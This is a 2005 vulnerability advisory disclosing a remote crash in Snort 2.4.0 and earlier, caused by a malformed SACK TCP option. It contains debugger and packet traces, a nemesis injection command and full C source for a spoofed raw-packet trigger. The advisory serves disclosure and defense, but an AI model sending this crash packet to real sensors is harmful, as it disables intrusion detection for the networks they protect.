Snort <= 2.4.0 SACK TCP Option Error Handling
From: QA=2E_Alejandro_Hern=E1ndez=22?= (nitrous_at_vulnfact.com)
Date: 09/12/05
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Date: Sun, 11 Sep 2005 16:33:32 -0600 To: vuln-dev@securityfocus.com
Snort <= 2.4.0 SACK TCP Option Error Handling
Package: Snort 2.4.0 (And previous versions)
Vendor url: http://www.snort.org
Class: Error Handling Exceptional Conditions
Risk: High
Credits: A. Alejandro Hernández Hernández
Contact: nitrous[at]vulnfact[dot]com
*BACKGROUND*
Snort is an open source network intrusion detection and prevention
system. It is capable of performing
real-time traffic analysis, alerting, blocking and packet logging on IP
networks. It utilizes a combination
of protocol analysis and pattern matchingin order to detect a anomalies,
misuse and attacks.
*DESCRIPTION*
A vulnerability found in PrintTcpOptions() function located in
snort-2.4.0/src/log.c could allow an attacker
to craft a malformed TCP/IP packet and make a DoS or totally crash Snort
in a remote system. To test it,
Snort needs to run in verbose mode (switch -v). See the Analysis section
for technical details.
*VULNERABLE VERSIONS*
The vulnerability was discovered and researched on the following packages:
# snort 2.4.0 @ OpenBSD 3.7 GENERIC
# snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.3.2 @ Debian Linux 3.1 "Sarge"
# snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.3.0 @ Red Hat Linux 9
# snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
# snort 2.0.0 @ OpenBSD 3.5 GENERIC
Is suspected that previous versions are also affected by this vulnerability.
*DISCLOSURE TIMELINE*
Flaw Discovered: 20/08/2005.
Vendor Notification: 22/08/2005.
Vendor Response: 23/08/2005.
Date Published: 11/09/2005.
*ANALYSIS*
Fuzzing Snort 2.4.0 with fuzzball2 I got:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF
***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E.
0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<.......
0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P.
0x0030: 00 00 31 76 00 00 ..1v..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
TCP Options (2) => Violación de segmento
The process catch a SIGSEGV signal, ok, now I need to know what packet number crash Snort:
root@blackb0x # snort -veX -i lo -q > DUMP.log
Violación de segmento
root@blackb0x # grep 127 DUMP.log | wc -l
123
At this moment I know that the packet number 123 is the evil (may change) hu! ;)...
Attaching Snort to GDB:
root@blackb0x # gdb -q snort
Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r -veX -i lo
Starting program: /usr/local/bin/snort -veX -i lo
...SNIPED...
08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44
******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
TCP Options (2) =>
Program received signal SIGSEGV, Segmentation fault.
0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
1543 memcpy(tmp, p->tcp_options[i].data, 2);
(gdb) print tmp
$1 = "\000\000\000\000"
(gdb) print p
$2 = (Packet *) 0xbffff360
(gdb) print i
$3 = 0
(gdb) print p->tcp_options[i]
$4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
(gdb) print p->tcp_options[i].code
$3 = 5 '\005'
(gdb) x/4b p->tcp_options_data
0x824edd0: 0x05 0x02 0x00 0x00
The error is in line 1543 from log.c:
root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543
1533 case TCPOPT_NOP:
1534 fwrite("NOP ", 4, 1, fp);
1535 break;
1536
1537 case TCPOPT_WSCALE:
1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
1539 break;
1540
1541 case TCPOPT_SACK:
1542 bzero((char *) tmp, 5);
1543 memcpy(tmp, p->tcp_options[i].data, 2);
1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
1545 bzero((char *) tmp, 5);
1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
1548 break;
1549
1550 case TCPOPT_SACKOK:
1551 fwrite("SackOK ", 7, 1, fp);
1552 break;
Reading the GDB's output I found that p->tcp_options[i].code value is 5 (TCPOPT_SACK).
Analyzing the Raw packet with tcpdump:
#tcpdump -i lo -eXX -c 123 | tail -5
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,ŒO..ÿ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã.oCñ."
0020: 6002 16d0 3caf 0000 0502 0000 `..Ã<¯......
I think that the last 4 bytes are the evil ;) and make my own packet:
root@blackb0x # printf "\x05\x02\x00\x00" > payload
root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload
TCP Packet Injected
And again, I got:
root@blackb0x # snort -veX -i lo -q
08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44
******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24
TCP Options (2) => Violación de segmento
But the flaw doesn't appear to effect IDS mode in standard configurations (without -v flag):
root@blackb0x # snort -c etc/snort.conf -D
root@blackb0x # ps aux | grep snort
root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c etc/snort.conf -D
root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep snort
root@blackb0x # ./snortrigger localhost
-=[ Snort <= 2.4.0 Trigger p0c
-=[ By nitr0us
-=[ Sending Malformed TCP/IP Packet...
-=[ Sent 44 bytes to localhost
-=[ Snort killed !
root@blackb0x # ps aux | grep snort
root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c etc/snort.conf -D
root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep snort
See below for PoC code.
*PROOF OF CONCEPT*
/*_------------------------------------------_
||------+ Snort <= 2.4.0 Trigger p0c +------||
||__________________________________________||
||--=[ nitrous [at] vulnfact [dot] com ]=--||
||--=[ VulnFact Security Labs ]=--||
||--=[ 21 Ago 2oo5 ]=--||
||--=[ Mexico ]=--||
||__________________________________________||
-__________________________________________-
Snort <= 2.4.0 SACK TCP Option Error Handling
Este código envia al especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se
esta corriendo en verbose mode (-v).
Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
pase este paquete lo descartara por no tener una checksum valida.
RFC #1072 - TCP Extensions for Long-Delay Paths
3.2- TCP SACK Option:
...
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin | Block Size |
+--------+--------+--------+--------+--------+--------+
Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,ŒO..ÿ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÇ.P.Ã.oCñ."
0020: 6002 16d0 3caf 0000 0502 0000 `..Ã<¯......
Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC
Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
Federico L. Bossi Bonin
*/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>
#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"
char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */
int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);
return 0;
}
int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);
if(argc < 2)
return(usage(*argv));
if(argc == 3)
srcip = argv[2];
if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}
if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}
memset(packet, 0x00, sizeof(packet));
memset(&target, 0x00, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(64876);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);
/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;
TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;
memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/
if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}
printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");
if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}
printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");
close(sockfd);
return 0;
}
*VENDOR RESPONSE/WORKAROUND*
Still working to release Snort 2.4.1.
*RELATED LINKS*
This Security Advisory
http://www.vulnfact.com/advisories/snort_adv.html
Proof of Concept code
http://www.vulnfact.com/exploits/snortrigger.c
Fuzzball2 TCP/IP Options Fuzzer
http://www.nologin.org/main.pl?action=codeView&codeId=54&
<http://www.nologin.org/main.pl?action=codeView&codeId=54&>
RFC #1072 - TCP Extensions for Long-Delay Paths
ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt
TCP Option Numbers
http://www.iana.org/assignments/tcp-parameters
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